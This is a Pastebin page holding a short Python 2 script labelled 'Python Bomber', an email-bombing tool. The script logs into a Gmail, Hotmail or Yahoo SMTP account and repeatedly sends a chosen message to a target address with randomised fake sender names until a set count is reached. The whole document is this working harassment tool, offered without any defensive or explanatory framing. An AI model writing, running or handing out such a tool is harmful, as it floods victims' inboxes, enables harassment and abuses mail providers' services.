Advertisement
Guest User

Untitled

a guest
Jun 18th, 2017
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.55 KB | None | 0 0
  1. import random, smtplib, string, sys
  2.  
  3. print 'Python Bomber - Version 1.0.0 - Coded by InvisibleMan'
  4. print 'Options : [gmail] [hotmail] [yahoo]\n'
  5.  
  6. smtp = raw_input('SMTP : ')
  7. if smtp == 'gmail' :
  8.     smtp = 'smtp.gmail.com:587'
  9. elif smtp == 'hotmail' :
  10.     smtp = 'stmp.hotmail.com:80'
  11. elif smtp == 'yahoo' :
  12.     smtp = 'smtp.yahoo.com:80'
  13. else :
  14.     print '[ERROR] Invalid STMP Option!'
  15.     raw_input()
  16.     sys.exit(1)
  17.  
  18. username = raw_input('Username : ')
  19. password = raw_input('Password : ')
  20.  
  21. print '[WAIT] Connecting to SMTP '
  22.  
  23. try :
  24.     server = smtplib.SMTP(smtp)
  25.     server.ehlo
  26.     server.starttls()
  27.     server.ehlo()
  28.     server.login(username,password)
  29. except :
  30.     print '[ERROR] Failed to connect to SMTP!'
  31.     raw_input()
  32.     sys.exit(1)
  33.  
  34. print '[DONE] Connected to SMTP '
  35.  
  36. target = raw_input('Target : ')
  37. msg = raw_input('Message : ')
  38. length = raw_input('Length : ')
  39. try :
  40.     length = int(length)
  41. except :
  42.     print '[ERROR] Fail to return a number from your choice!'
  43.     raw_input()
  44.     sys.exit(1)
  45.  
  46. sent =  0
  47.  
  48. while '' == '' :
  49.     try :
  50.         charArray = string.ascii_lowercase + string.ascii_lowercase
  51.         getRandom = ''.join(random.sample(charArray,10))
  52.         fromaddr = getRandom
  53.         server.sendmail(fromaddr, target, msg)
  54.         sent += 1
  55.         print '[' + str(sent) + '/' + str(length) + '] Message sent!'
  56.         if sent == length :
  57.             server.quit()
  58.             break
  59.     except :
  60.         print '[' + str(sent) + '/' + str(length) + '] Failed to send message!'
  61.  
  62. raw_input()
  63. sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement